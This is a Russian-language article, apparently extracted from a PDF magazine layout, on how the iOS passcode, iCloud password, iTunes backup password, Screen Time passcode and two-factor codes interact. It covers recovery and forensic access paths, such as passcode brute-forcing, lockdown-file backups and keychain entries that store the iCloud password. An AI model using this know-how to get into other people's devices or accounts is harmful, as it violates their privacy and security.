вре мя».  Соот ветс твен но,  ни  одна  из  этих  катего рий  не  будет  син хро низи‐ 
рова на,  если  ты  не  нас тро ишь  код  бло киров ки.  Кро ме  того,  без  кода  бло‐ 
киров ки не ста нет работать пла теж ная сис тема Apple Pay.

WWW

В  бло ге  «Элкомсофт»  есть  две  статьи  на  тему
кода  бло киров ки  экра на: 

  и 
.

Protecting  Your  Data
and Apple Account If They Know Your  iPhone Pass‐
code Passcode  vs.  Biometrics:  Forensic  Implica‐
tions of Touch ID and Face ID in iOS 12

Ес ли код бло киров ки утра чен
Ес ли  ты  обыч ный  (хорошо,  пусть  прод винутый)  поль зователь  и  тебя  уго раз‐ 
дило забыть код бло киров ки, то тебе будет дос тупно не так мно го воз можнос‐ 
тей.  Мож но  сбро сить  устрой ство  через  режим  Recovery,  мож но  —  переп‐ 
рошить  через  DFU.  Конеч ный  резуль тат  ока жет ся  один:  дан ные  будут  унич‐ 
тожены,  а  для  нас трой ки  сбро шен ного  устрой ства  тебе  пот ребу ется  ввес ти
пароль от iCloud.

Ес ли  ты  регуляр но  под клю чал  телефон  к  компь юте ру,  то  на  компь юте ре
может сох ранить ся файл lockdown. С его помощью мож но уста новить соеди‐ 
нение  и  сде лать  резер вную  копию  телефо на  перед  тем,  как  его  сбро сить
(работа ет  толь ко  в  том  слу чае,  если  телефон  раз бло киро вали  хотя  бы  раз
пос ле  пос ледне го  вклю чения  или  перезаг рузки).  Если  резер вная  копия
защище на  паролем  от  резер вной  копии  iTunes,  то  из  нее  мож но  извлечь
пароль от iCloud, что бы акти виро вать сбро шен ный телефон. А вот если такого
фай ла нет или срок его дей ствия истек, то под клю чить телефон к компь юте ру
не получит ся: начиная с iOS 11 для под клю чения к новому компь юте ру нуж но
ввес ти код бло киров ки экра на.

У  работ ников  пра воох ранитель ных  орга нов  есть  воз можность  запус тить
перебор  кодов  бло киров ки  (имен но  поэто му  уси лен но  не  рекомен дует ся
исполь зовать  четырех знач ный  PIN).  Впро чем,  шанс  на  успех  при  исполь‐ 
зовании даже шес тизнач ного циф рового кода бло киров ки невысо кий.

Итак, если код бло киров ки утра чен:
Мож но  сбро сить  iPhone  через  Recovery.  Это  сбро сит  код  бло киров ки
экра на  и  уда лит  все  дан ные,  но  для  нас трой ки  устрой ства  пот ребу ется
ввес ти пароль от iCloud.

•

Ра бот никам  пра воох ранитель ных  орга нов  может  быть  дос тупен  вари ант
с перебо ром кодов бло киров ки.

•

Под клю чить  iPhone  к  новому  компь юте ру  не  удас тся  (для  уста нов ления
доверен ного соеди нения тре бует ся ввес ти код бло киров ки экра на).

•

Ес ли есть дос туп к фай лу lockdown, а телефон был раз бло киро ван хотя бы
раз с момен та пос ледней перезаг рузки или вклю чения, то сущес тву ет воз‐ 
можность  извлечь  локаль ную  резер вную  копию.  Если  резер вная  копия
защище на  паролем  от  резер вной  копии  iTunes,  то  из  нее  мож но  будет
извлечь  пароль  от  iCloud,  пос редс твом  которо го  мож но  акти виро вать
сбро шен ный телефон.

•

Ес ли код бло киров ки известен
Ес ли же код бло киров ки известен, с телефо ном мож но про делать мно жес тво
раз ных вещей:

Раз бло киро вать устрой ство даже пос ле холод ной заг рузки.•
Под клю чить к новому компь юте ру или аксессу арам USB (обход бло киров‐ 
ки USB).

•

Соз дать све жую резер вную копию в фор мате iTunes.•
• Сбро сить пароль от iCloud.

• Из менить доверен ный номер телефо на для получе ния кодов двух фактор‐ 
ной аутен тифика ции (толь ко для учет ных записей с двух фактор ной аутен‐ 
тифика цией; одно разо вый код для это го не нужен). Теперь коды, получен‐ 
ные  на  этот  номер,  могут  быть  исполь зованы  для  про хож дения  двух‐ 
фактор ной аутен тифика ции с любого устрой ства.

• Сбро сить  пароль  от  резер вной  копии  iTunes  (если  не  уста нов лен
или  известен  пароль  «Экранно го  вре мени»),  соз дать  резер вную  копию
с новым паролем и узнать из нее пароль от iCloud.

• iOS 13: уста новить или изме нить пароль от резер вной копии iTunes.
• Об новить вер сию iOS.
• Сбро сить устрой ство к завод ским нас трой кам, отклю чить iCloud lock.
• Прос матри вать пароли из «Связ ки клю чей».
• По лучить дос туп к некото рым типам дан ных в  iCloud (пот ребу ется ука зать
пароль  от  iCloud  и  одно разо вый  код  двух фактор ной  аутен тифика ции  —
оба из которых мож но сбро сить и нас тро ить заново при помощи кода бло‐ 
киров ки экра на). В спи сок вхо дят такие дан ные, как «Облачная связ ка клю‐ 
чей» (пароли от учет ных записей поль зовате ля, запол ненные фор мы в Sa‐
fari),  дан ные  «Здо ровья»  и  «Экранно го  вре мени»,  сооб щения  (SMS,
iMessage).

• Сме нить  или  уда лить  код  бло киров ки  экра на  (при  его  уда лении  ста нут
недос тупны ми  некото рые  дан ные  как  в  самом  iPhone,  так  и  в  обла ке
iCloud).

Под водные кам ни
Ус танов ленный неиз вес тный пароль  «Экранно го  вре мени»  не даст  сбро‐ 
сить пароль от резер вной копии iTunes.

•

Ес ли поль зователь уста новил огра ниче ния на вне сение изме нений в учет‐ 
ную  запись  Apple  ID  и  защитил  огра ниче ние  паролем  «Экранно го  вре‐ 
мени», то сбро сить пароль от iCloud не удас тся.

•

• При сме не кода бло киров ки экра на iOS пот ребу ет уста новить соеди нение
с  iCloud. Это нуж но для добав ления  iPhone в  круг доверен ных устрой ств,
которые  будут  син хро низи ровать  защищен ную  часть  дан ных  (пароли
из  «Облачной  связ ки  клю чей»,  «Здо ровье»,  сооб щения,  «Экранное  вре‐ 
мя»).

Выг лядит дос таточ но запутан но? Мы толь ко начали!

ПАРОЛЬ ОТ ICLOUD

Учет ная  запись  iCloud  (а  точ нее —  Apple  ID)  не  обя затель на;  мож но  поль‐ 
зовать ся телефо ном и без нее. Впро чем, так же как и в слу чае с кодом бло‐ 
киров ки, без учет ной записи в  iCloud пол ноцен но поль зовать ся устрой ством
не вый дет. Пароль от iCloud сов пада ет с паролем от учет ной записи Apple ID,
а без учет ной записи Apple не получит ся не толь ко син хро низи ровать дан ные
и соз давать резер вные копии в iCloud, но и заг ружать при ложе ния, даже бес‐ 
плат ные, из магази на App Store, слу шать музыку и совер шать покуп ки в Apple
Music.  Мало  кто  покупа ет  iPhone  исклю читель но  для  звон ков  и  прос мотра
веб‐стра ниц  через  встро енный  бра узер,  поэто му  боль шинс тво  поль зовате‐ 
лей заводит себе учет ную запись Apple ID.

В Apple  кон тро лиру ют минималь ную слож ность пароля  к  iCloud; слиш ком
прос той пароль уста новить не получит ся, рав но как и пароль, сов пада ющий
с одним из тех, которые исполь зовались ранее.

Па роль  от  iCloud  защища ет  дос туп  к  онлай новой  час ти  дос тупных  поль‐ 
зовате лю  сер висов  Apple  (нап ример,  к  фотог рафи ям,  которые  хра нят ся
в iCloud, к дан ным кален дарей, заметок, облачным резер вным копи ям). Кро‐ 
ме того, пароль от iCloud исполь зует ся для защиты iPhone от сбро са к завод‐ 
ским нас трой кам (а точ нее — от воз можнос ти его пос ле это го акти виро вать
и исполь зовать),  а  так же для  уда лен ной бло киров ки, отсле жива ния или сти‐ 
рания дан ных с укра ден ных устрой ств.

В  то же вре мя пароль от  iCloud — далеко не все,  что нуж но для дос тупа
ко всем дан ным в  iCloud. Так, некото рые дан ные будут сох ранять ся в обла ко
толь ко  пос ле  вклю чения  двух фактор ной  аутен тифика ции  (соот ветс твен но,
для  их  извле чения  понадо бит ся  одно разо вый  код  двух фактор ной  аутен‐ 
тифика ции), а некото рые (пароли из «Облачной связ ки клю чей», «Здо ровье»,
сооб щения, «Экранное вре мя») допол нитель но защище ны еще и кодом бло‐ 
киров ки экра на.

Мож но ли обой ти пароль и все рав но получить дос туп к дан ным из обла ка?
Да, но набор дос тупных таким обра зом дан ных будет огра ничен; под робнос‐ 
ти — в статье  .Accessing iCloud With and Without a Password in 2019

Ес ли пароль от iCloud утра чен
Па роль  от  iCloud  исполь зует ся  зна читель но  реже  кода  бло киров ки  экра на;
соот ветс твен но,  забыва ют его поль зовате ли  гораз до чаще. Для его вос ста‐ 
нов ления  Apple  опуб ликова ли  под робную  инс трук цию  в  статье  «

».
Ес ли  вы

забыли пароль учет ной записи Apple ID
Па роль  от  iCloud  мож но  сбро сить  с  доверен ного  устрой ства  (собс твен‐ 

ного  iPhone  поль зовате ля);  для  это го  дос таточ но  ука зать  код  бло киров ки
экра на, но тре бует ся, что бы в учет ной записи была вклю чена двух фактор ная
аутен тифика ция (одно разо вый код не понадо бит ся). Пароль от  iCloud мож но
сбро сить и с дру гого устрой ства Apple или через бра узер (в этом слу чае нуж‐ 
но будет ввес ти одно разо вый код двух фактор ной аутен тифика ции).

Кро ме того, пароль от iCloud мож но узнать, про ана лизи ровав пароли, сох‐ 
ранен ные в бра узе ре на компь юте ре (Chrome, IE, Edge, Firefox), при помощи

 (Windows), либо извлечь из «Связ ки клю чей» macOS
инс тру мен том  .  Наконец,  мож но  про ана лизи ровать  зашиф‐ 
рован ную резер вную копию iOS при помощи  .

Internet Password Breaker
Password  Digger

Phone Breaker
Итак, если утра чен пароль от iCloud, ты смо жешь:

• Сбро сить  его  с  собс твен ного  iPhone  или  дру гого  устрой ства  из  эко сис‐ 
темы  Apple  (пот ребу ется  код  бло киров ки  экра на,  дол жна  быть  вклю чена
двух фактор ная аутен тифика ция, одно разо вый код не понадо бит ся).

• Сбро сить с чужого устрой ства из эко сис темы Apple (код бло киров ки экра‐ 
на,  дол жна  быть  вклю чена  двух фактор ная  аутен тифика ция,  нуж но  ввес ти
одно разо вый код).

• Сбро сить через бра узер (про цесс раз лича ется для учет ных записей с 2FA
и  без;  пот ребу ется  дос туп  к  ящи ку  элек трон ной  поч ты,  при вязан ному
к  дан ному  Apple  ID,  одно разо вый  код  двух фактор ной  аутен тифика ции
для  учет ных  записей  с  2FA;  код  может  быть  дос тавлен  в  SMS,  отправ‐ 
ленной  на  доверен ный  номер  телефо на  —  который,  напом ним,  мож но
сме нить при помощи кода бло киров ки экра на).

Ес ли пароль от iCloud известен
Как ни стран но, если известен пароль от iCloud (и толь ко он), сде лать мож но
не так и мно го:

За ново  нас тро ить  устрой ство,  если  был  утра чен  код  бло киров ки  экра на
(сброс  через  Recovery,  нас трой ка  с  нуля,  ввес ти  пароль  от  iCloud
для отвязки от iCloud).

•

Под тверждать покуп ки в App Store и iTunes Store (аль тер натива — биомет‐ 
ричес кая  аутен тифика ция,  для  нас трой ки  которой,  впро чем,  все  рав но
пот ребу ется ввес ти пароль от iCloud).

•

Под тверждать обновле ние при ложе ний (пароль зап рашива ется не всег да;
законо мер ности выявить не уда лось).

•

Ло гин  в  App  Store  (если  вклю чена  двух фактор ная  аутен тифика ция,  пот‐ 
ребу ется одно разо вый код).

•

Из вле кать огра ничен ное количес тво дан ных из iCloud (если двух фактор ная
аутен тифика ция не вклю чена).

•

Из вле кать  чуть  боль ше  дан ных  из  iCloud  (толь ко  если  двух фактор ная
аутен тифика ция вклю чена и дос тупен одно разо вый код).

•

• Из вле кать  еще  чуть  боль ше  дан ных  из  iCloud  (пароли  «Облачной  связ ки
клю чей»,  пароль  «Экранно го  вре мени»,  сооб щения,  «Здо ровье»;  толь ко
если двух фактор ная аутен тифика ция вклю чена, дос тупен одно разо вый код
и код бло киров ки экра на).

Ка тего рии,  помечен ные  на  скрин шоте  выше  оран жевым  цве том,  мож но
извлечь, если известен код бло киров ки экра на. «Зеленые» катего рии лег‐ 
ко извле кают ся при помощи толь ко логина и пароля от iCloud (для учет ных
записей с 2FA понадо бит ся и одно разо вый код).

• От вязать iPhone от iCloud, отклю чить Find My iPhone, сбро сить к завод ским
нас трой кам.

• Вой ти в учет ную запись Apple из бра узе ра (если вклю чена двух фактор ная
аутен тифика ция, пот ребу ется одно разо вый код).

• Дис танци онно  сте реть  или  заб локиро вать  iPhone  при  помощи  сер виса
  (одно разо вый код не нужен даже для учет ных записей с двух‐ 

фактор ной аутен тифика цией).
iCloud Find

• Сме нить пароль от Apple ID / iCloud.
• До бавить  учет ную  запись  на  устрой ствах  Apple;  устрой ство  ста новит ся
доверен ным (если вклю чена двух фактор ная аутен тифика ция, пот ребу ется
одно разо вый код).

Под водные кам ни
Па роль от iCloud не получит ся сбро сить или изме нить, если на устрой стве
нас тро ено  огра ниче ние  «Экранно го  вре мени»  на  дей ствия  с  учет ной
записью (а пароль «Экранно го вре мени» неиз вестен).

•

Уже  по  спис ку  «Если  пароль  известен»  вид но,  что  сам  по  себе  пароль
от iCloud прак тичес ки бес полезен, ког да в учет ной записи вклю чена двух‐ 
фактор ная аутен тифика ция. Имея дос туп ко вто рому фак тору, мож но лег ко
сбро сить пароль от  iCloud. А вот добавить или изме нить допол нитель ный
фак тор аутен тифика ции, имея толь ко пароль от iCloud, невоз можно. Офи‐ 
циаль ная  про цеду ра  вос ста нов ления  учет ной  записи  не  дает  гаран‐ 
тирован ного  резуль тата  (в  нашей  лабора тории  мы  смог ли  вос ста новить
лишь  каж дую  вто рую  учет ную  запись).  Похоже,  допол нитель ный  фак тор
аутен тифика ции  в  нас тоящий  момент  име ет  боль ший  вес,  чем  пароль
от iCloud.

•

Продолжение статьи →
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ЧЕТЫРЕ С ПОЛОВИНОЙ
ПАРОЛЯ

КАК УСТРОЕНА СИСТЕМА АУТЕНТИФИКАЦИИ
IOS

ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

ПАРОЛЬ ОТ РЕЗЕРВНОЙ КОПИИ ITUNES

Этот пароль такой же опци ональ ный, как и пре дыду щие два. Более того, если
не  уста новить  пароль  на  резер вную  копию,  то  для  неис кушен ного  поль‐ 
зовате ля  не  изме нит ся  по  боль шому  сче ту  ничего:  все  воз можнос ти
как  устрой ства,  так и облачных сер висов будут дос тупны точ но  так же,  как и
с паролем. В статье   мы опи сали
некото рые осо бен ности паролей от резер вной копии.

The Most Unusual Things about iPhone Backups

Для чего вооб ще нужен этот пароль? Оче вид но, для шиф рования резер‐ 
вной копии, которую мож но соз дать в iTunes. Нуж но ли задавать этот пароль,
если ты никог да не соз давал резер вные копии в iTunes и не собира ешь ся это‐ 
го  делать?  Да,  нуж но,  потому  что  резер вную  копию  зло умыш ленник  может
соз дать  самос тоятель но,  пос ле  чего  получит  дос туп  прак тичес ки  к  пол ному
содер жимому  телефо на,  вклю чая  все  пароли  к  учет ным  записям,  которые
исполь зовались в бра узе ре Safari. Помеша ет ли этот пароль зло умыш ленни‐ 
ку,  если  он  получит  в  руки  твой  iPhone  и  узна ет  его  код  бло киров ки?  Нет,
не  помеша ет,  но  ты  смо жешь  допол нитель но  (и  дос таточ но  надеж но)
защитить его паролем «Экранно го вре мени».

Нас коль ко  вооб ще  безопа сен  пароль  от  резер вной  копии  iTunes?  Если
в  руки  зло умыш ленни ка  попадут  толь ко  фай лы  резер вной  копии,  зашиф‐ 
рован ные неиз вес тным паролем, то тебе повез ло: ско рость перебо ра будет
исклю читель но низ кой. Даже на про фес сиональ ном обо рудо вании с исполь‐ 
зовани ем  аппа рат ного  уско рения  и  рас пре делен ных  вычис литель ных  сетей
ско рость перебо ра на одном компь юте ре не пре выша ет 100 паролей в секун‐ 
ду. Это  очень мед ленно;  пароль  из  слу чай ного  набора  букв  и  цифр  дли ной
хотя бы в шесть сим волов не будет вскрыт и за сот ню лет.

Си туация меня ется на пол ностью про тиво полож ную, если в руки зло умыш‐ 
ленни ка попадет твой iPhone, а код бло киров ки экра на под смот рят или узна‐ 
ют иным спо собом. Исполь зуя код бло киров ки экра на, пароль от резер вной
копии iTunes мож но сбро сить бук валь но за пару шагов (вмес те с ним уда ляет‐ 
ся и код бло киров ки телефо на). Если же цель — узнать ори гиналь ный пароль,
то мож но  сде лать  джей лбрейк  (для  ста рых  устрой ств  это  воз можно незави‐ 
симо  от  вер сии  iOS),  пос ле  чего  пароль  извле кает ся  из  скры той  записи
«Связ ки клю чей».

На конец,  если  на  iPhone  запуще на  iOS  13,  то  для  уста нов ки  или  сме ны
пароля от резер вной копии так же пот ребу ется ввес ти код бло киров ки экра на.

Ес ли пароль от резер вной копии iTunes утра чен
Ес ли  ори гиналь ный  iPhone  в  тво ем  рас поряже нии,  то  мож но  сбро сить
пароль от резер вной копии iTunes; для это го нужен код бло киров ки экра на.
Если  уста нов лен  пароль  «Экранно го  вре мени»,  то  пот ребу ется  ввес ти
и его.

•

Ес ли же в тво ем рас поряже нии толь ко фай лы резер вной копии, то единс‐ 
твен ный  воз можный  вари ант —  ата ка  по  сло варю  или  методом  пол ного
перебо ра.

•

Ес ли цель — ана лиз дан ных из  локаль ной резер вной  копии,  то  заменить
ее может вос ста нов ление на новое устрой ство либо ска чива ние и ана лиз
ком бинации из облачной резер вной копии устрой ства и «Связ ки клю чей»
из  iCloud. Для дос тупа  к ним нуж ны будут пароль от  iCloud, одно разо вый
код двух фактор ной аутен тифика ции и (для ана лиза «Облачной связ ки клю‐ 
чей») код бло киров ки экра на телефо на.

•

Ес ли пароль от резер вной копии iTunes известен
Из вес тный пароль от резер вной копии (при наличии самой резер вной копии)
поз волит:

Вос ста новить из резер вной копии как ори гиналь ное, так и новое устрой‐ 
ство с iOS, вклю чая вос ста нов ление «Связ ки клю чей» с пароля ми.

•

Про ана лизи ровать  содер жимое  резер вной  копии  (вклю чая  пароли
из «Связ ки клю чей»).

•

Уз нать пароль «Экранно го вре мени» (толь ко для iOS 12) или пароль огра‐ 
ниче ний (для iOS 11). При ложе ний для это го сущес тву ет дос таточ но мно го;
отоб разить пароль «Экранно го вре мени» в сос тоянии, к при меру, Elcom‐
soft Phone Viewer.

•

Уз нать пароль от iCloud / Apple ID (под робнее об этом чуть ниже).•

Под водные кам ни
Па роль  от  iCloud  не  всег да  мож но  най ти  в  резер вной  копии.  Точ ную
зависи мость уста новить не уда лось.

•

Па роль «Экранно го вре мени» мож но узнать толь ко для ста рых вер сий iOS.
В резер вных копи ях, соз данных iOS 13 и более све жими сбор ками, пароль
«Экранно го  вре мени»  получил  более  высокий  класс  защиты  и  не  может
быть рас шифро ван из резер вной копии.

•

Ес ли  тебе  приш лось  сбро сить  пароль  от  резер вной  копии  iTunes  через
нас трой ки  телефо на,  то  код  бло киров ки  экра на  так же  будет  сбро шен.
Это при ведет к уда лению с устрой ства дан ных обо всех тран закци ях Apple
Pay,  писем  и  дан ных  Exchange.  Ты  потеря ешь  воз можность  сбро сить
пароль от iCloud; будет утра чен дос туп к «Облачной связ ке клю чей» и дру‐ 
гим защищен ным дан ным в обла ке. Впро чем, дос туп к облачным дан ным
мож но  вос ста новить,  задав  код  бло киров ки  заново  и  поз волив  сис теме
добавить устрой ство в спи сок доверен ных.

•

А  теперь  —  обе щан ные  под робнос ти  об  извле чении  пароля  от  iCloud
из  резер вной  копии  с  паролем  (это  важ но:  из  резер вной  копии,  которая
паролем  не  защище на,  извлечь  «Связ ку  клю чей»  невоз можно).  Пароль
от  iCloud  может  хра нить ся  в  одной  или  нес коль ких  записях  из  сле дующе го
спис ка:

com.apple.account.AppleIDAuthentication.password;•
apple.account.iTunesStore.password и apple.account.AppleAccount.password
(уста рев шие записи, в которых все еще может ока зать ся пароль).

•

Па роль от iCloud мож но обна ружить и в этих записях, при над лежащих бра узе‐ 
ру Safari:

appleid.apple.com;•
www.icloud.com;•
idmsa.apple.com;•
id.apple.com;•
secure1.store.apple.com;•
secure2.store.apple.com;•
mapsconnect.apple.com;•
daw2.apple.com.•

ПАРОЛЬ «ЭКРАННОГО ВРЕМЕНИ»

« » — отно ситель но недав но появив шаяся в  iOS 12 сис тема,
поз воля ющая отсле живать и огра ничи вать вре мя исполь зования устрой ства.
Уста нов ленные  огра ниче ния  поль зователь  может  защитить  код‐паролем,
сос тоящим из четырех цифр.

Эк ранное вре мя

Ес ли  поль зователь  уста новил  пароль  «Экранно го  вре мени»,  то  сис тема
будет  зап рашивать  его  при  попыт ке  изме нить  нас трой ки  как  собс твен но
огра ниче ний,  уста нов ленных  в  раз деле  «Экранно го  вре мени»,  так  и  некото‐ 
рых  дру гих  сис темных  нас тро ек.  В  час тнос ти,  сис тема  пот ребу ет  ввес ти
пароль  «Экранно го  вре мени»  (в  допол нение  к  коду  бло киров ки  экра на)
при попыт ке сбро сить нас трой ки (Reset All Settings) с целью сбро сить пароль
от резер вной копии iTunes.

Поль зовате ли  могут  уста новить  и  собс твен ные  огра ниче ния.  Нап ример,
может быть уста нов лено огра ниче ние на дей ствия с учет ной записью, пос ле
чего  iOS  не  поз волит  сбро сить  пароль  от  iCloud,  вво дя  код  бло киров ки.
Еще  одно  огра ниче ние  может  зап ретить  уста нов ку  на  устрой ство  при ложе‐ 
ний, что не даст выпол нить джей лбрейк и извлечь из устрой ства образ фай‐ 
ловой  сис темы.  А  вот  защитить  пароли  в  «Связ ке  клю чей»  таким  обра зом
не  получит ся:  их  всег да  мож но  прос мотреть,  даже  если  уста нов лен  пароль
«Экранно го вре мени».

Ес ли пароль «Экранно го вре мени» утра чен
Не воз можно отклю чить или обой ти уста нов ленные огра ниче ния «Экранно‐ 
го вре мени», убрать или сме нить пароль.

•

Не воз можно вклю чить фун кцию «Экранно го вре мени» Share across devices
(«Учет на всех устрой ствах»), бла года ря которой пароль «Экранно го вре‐ 
мени» попада ет в обла ко iCloud и может быть отту да извле чен.

•

Не воз можно сбро сить нас трой ки для уда ления пароля к резер вной копии
iTunes.

•

В  зависи мос ти  от  уста нов ленных  поль зовате лем  нас тро ек  могут  быть
и дру гие огра ниче ния:  на  сброс пароля от  iCloud,  уста нов ку  при ложе ний
и дру гие.

•

iOS 12: пароль «Экранно го вре мени» мож но извлечь из локаль ной резер‐ 
вной копии с паролем (если пароль от резер вной копии iTunes известен).

•

iOS 12 и 13: пароль «Экранно го вре мени» мож но извлечь из  iCloud, если
известен  пароль  от  iCloud,  есть  одно разо вый  код  двух фактор ной  аутен‐ 
тифика ции  и  известен  код  бло киров ки  устрой ства  (не  обя затель но  дан‐ 
ного  кон крет ного  устрой ства,  но  хотя бы одно го  устрой ства из  доверен‐ 
ного  кру га);  фун кция  «Экранно го  вре мени»  Share  across  devices  («Учет
на всех устрой ствах») дол жна быть уже вклю чена.

•

Ес ли пароль «Экранно го вре мени» известен
Ес ли пароль «Экранно го вре мени» известен, ты смо жешь:

Нас тра ивать и отклю чать огра ниче ния «Экранно го вре мени».•
Сме нить или уда лить пароль «Экранно го вре мени».•
Ес ли известен код бло киров ки устрой ства, сме нить пароль от резер вной
копии iTunes.

•

Под водные кам ни
iOS 12: для того что бы извлечь пароль «Экранно го вре мени» из локаль ной
резер вной копии, необ ходимо, что бы локаль ная копия была зашиф рована
паролем, а сам пароль от резер вной копии iTunes был известен.

•

iOS  13:  пароль  «Экранно го  вре мени»  хра нит ся  с  повышен ным  клас сом
защиты и не может быть извле чен из резер вной копии. Вмес то это го мож‐ 
но исполь зовать извле чение из iCloud.

•

Из  обла ка  iCloud  пароль  «Экранно го  вре мени»  мож но  извлечь  лишь
при  усло вии,  что  поль зователь  вклю чил  фун кцию  «Экранно го  вре мени»
Share across devices («Учет на всех устрой ствах»). Если эта фун кция вклю‐ 
чена, то в качес тве кода бло киров ки мож но исполь зовать код бло киров ки
экра на  или  сис темный  пароль  любого  устрой ства  Apple,  вхо дяще го
в «доверен ный круг» (то есть они зарегис три рова ны в том же Apple ID и на
них  так же вклю чена фун кция «Экранно го вре мени» «Учет на всех  устрой‐ 
ствах»).

•

Фун кция  «Учет  на  всех  устрой ствах»  работа ет  исклю читель но  в  учет ных
записях с двух фактор ной аутен тифика цией. Соот ветс твен но, пот ребу ется
ввес ти одно разо вый код двух фактор ной аутен тифика ции.

•

WWW

Ссыл ки по теме:
•How To Access Screen Time Password and Recov‐
er iOS Restrictions Password

•How to Extract Screen Time Passcodes and Voice
Memos from iCloud

ОДНОРАЗОВЫЙ КОД ДВУХФАКТОРНОЙ
АУТЕНТИФИКАЦИИ

Итак,  мы  рас смот рели  четыре  пароля,  которые  защища ют  раз ные  аспекты
эко сис темы Apple. Одна ко если в слу чае с iPhone даже сла бого пароля может
быть  дос таточ но  прос то  из‐за  того,  что  к  телефо ну  нуж но  еще  получить
физичес кий  дос туп,  то  защита  онлай новой  учет ной  записи  одним  лишь
паролем  дав но  показа ла  свою  несос тоятель ность.  Яркий  при мер — 

, событие, которое зас тавило Apple поторо пить ся и выпус тить сырую вер‐ 
сию двух фактор ной аутен тифика ции под наз вани ем Two‐Step Verification.

Celeb‐
gate

Се год ня  Apple  исполь зует  гораз до  более  тех ничес ки  прод винутую
и безопас ную схе му, которая называ ется прос то и бес хитрос тно — Two‐Fac‐
tor  Authentication,  или  .  В  этой  сис теме  есть
воз можность нас тро ить любое  устрой ство Apple  (и  толь ко Apple)  в  качес тве
доверен ного «вто рого фак тора». Кро ме того, поль зовате лю обя затель но при‐ 
дет ся добавить  хотя бы один доверен ный телефон ный номер на  тот слу чай,
если единс твен ное устрой ство Apple будет уте ряно или укра дено.

двух фактор ная  аутен тифика ция

Сис тема ока залась силь ной и дос таточ но безопас ной,  и  в Apple решили
этим вос поль зовать ся. Неожи дан но «вто рой, допол нитель ный» фак тор аутен‐ 
тифика ции получил в наг рузку  воз можнос ти,  поз воля ющие про делы вать ряд
вещей, которые в дру гих сис темах счи тают ся дур ным тоном.

Нра вит ся  тебе  это  или  нет,  но  двух фактор ную  аутен тифика цию  при дет ся
вклю чить, если ты хочешь получить дос туп к любому из перечис ленных ниже
сер висов:

син хро низа ция паролей в iCloud («Облачная связ ка клю чей»);•
син хро низа ция  сооб щений  (SMS  и  iMessage),  дан ных  «Здо ровья»
и «Экранно го вре мени» в iCloud;

•

воз можность сбро сить забытый пароль от iCloud / Apple ID.•

Ку пив новое устрой ство с  iOS 13 и зарегис три ровав све жий иден тифика тор
Apple  ID,  ты  прос то  не  смо жешь  нас тро ить  его  без  двух фактор ной  аутен‐ 
тифика ции. Раз вклю чив, отклю чить ее уже не получит ся: пре цеден ты еди нич‐ 
ны,  и  каж дый  слу чай  тре бовал  пер сональ но  обра щать ся  в  под дер жку  Apple
и потом дол го ждать.

Ка кое  зна чение  при дает  Apple  двух фактор ной  аутен тифика ции,  понят но
из  того,  что  с  помощью  вто рого  «допол нитель ного»  фак тора  лег ко  мож но
сбро сить  пароль  от  Apple  ID  /  iCloud.  А  вот  если  потерять  дос туп  ко  всем
носите лям «допол нитель ного» фак тора (вклю чая устрой ства Apple и доверен‐ 
ный телефон ный номер — что на самом деле прос то, если ты в заг ранич ной
поез дке),  то получить дос туп  к  собс твен ной  учет ной записи не вый дет.  Точ‐ 
нее, это го мож но будет добить ся, запол нив заяв ку, и пос ле дли тель ного (нес‐ 
коль ко недель) ожи дания дос туп к учет ной записи может быть (а может и не
быть) пре дос тавлен.

Ес ли дос туп ко вто рому фак тору аутен тифика ции утра чен
Ес ли дос тупа ко вто рому фак тору аутен тифика ции нет, нас тупят грус тные пос‐ 
ледс твия:

Дос туп к учет ной записи Apple ID и к iCloud невоз можен, даже если пароль
от iCloud известен. Исклю чения — фун кция Find My и отвязка сбро шен ного
телефо на от  iCloud; в обо их этих слу чаях дос таточ но одно го лишь пароля
от iCloud.

•

Воз можно,  тебе  удас тся  вос ста новить  дос туп  к  учет ной  записи  Apple
через офи циаль ную про цеду ру. Это дол го (нес коль ко недель), а резуль тат
не гаран тирован.

•

Так что вто рой фак тор аутен тифика ции луч ше не терять.

Ес ли дос туп ко вто рому фак тору аутен тифика ции име ется
Ес ли же у тебя есть дос туп ко вто рому фак тору аутен тифика ции, мож но про‐ 
делать сле дующие вещи:

Сбро сить пароль от iCloud / Apple ID с доверен ного устрой ства (оно выс‐ 
тупа ет в роли вто рого фак тора).

•

Вос ста новить  дос туп  к  учет ной  записи  Apple  ID  и  сбро сить  пароль
от iCloud при помощи одно разо вого кода двух фактор ной аутен тифика ции
(с чужого устрой ства Apple).

•

Пос ле сбро са пароля от  iCloud вой ти  в  учет ную запись и извлечь из нее
дан ные (часть дан ных будет допол нитель но защище на кодом бло киров ки
экра на).

•

Вос ста новить  из  облачной  резер вной  копии  новое  или  сущес тву ющее
устрой ство Apple.

•

При  вос ста нов лении  из  облачной  резер вной  копии  сущес тву юще го
устрой ства  (имен но  того,  с  которо го  была  ранее  соз дана  резер вная
копия) будут вос ста нов лены и пароли из «Связ ки клю чей» (даже если тебе
неиз вестен  код  бло киров ки  экра на,  который  необ ходим  для  ска чива ния
син хро низи рован ной «Облачной связ ки клю чей»).

•

Под водные кам ни
Да же если дос туп ко вто рому фак тору аутен тифика ции утра чен, будут дос‐ 
тупны фун кция Find My и отвязка сбро шен ного телефо на от iCloud. Для их
работы дос таточ но одно го лишь пароля от iCloud.

•

«Связ ка клю чей» из облачной резер вной копии может быть вос ста нов лена
исклю читель но  на  то  же  самое физичес кое  устрой ство,  с  которо го  была
соз дана резер вная копия. Для дос тупа к «Облачной связ ке клю чей» необ‐ 
ходимо  ввес ти  код бло киров ки  экра на  от  одно го  из  пре дыду щих  устрой‐ 
ств.

•

ПАРОЛИ И ПОЛИТИКИ БЕЗОПАСНОСТИ

По лити ки  безопас ности,  огра ничи вающие  исполь зование  слиш ком  прос тых
паролей, раз лича ются для всех четырех (с полови ной) паролей.

 Жес ткой полити ки нет. По умол чанию сис тема
пред лага ет исполь зовать код, сос тоящий из шес ти цифр, но по желанию
поль зователь  может  выб рать  и  четырех знач ный  PIN,  а  так же  циф ровой
пароль про изволь ной дли ны либо бук венно‐циф ровой пароль любого раз‐ 
мера. У Apple есть база дан ных самых час то исполь зуемых паролей; если
поль зователь  попыта ется  уста новить  имен но  такой  пароль  (нап ример,
0000,  1111 или 1234),  то  сис тема пре дуп редит о  небезо пас ности  такого
кода бло киров ки — но все же поз волит его уста новить.

• Код бло киров ки экра на.

  Минималь ная  дли на  —  восемь  зна ков.  Тре бует ся
исполь зовать  по  край ней  мере  одну  строч ную  и  одну  заг лавную  бук ву,
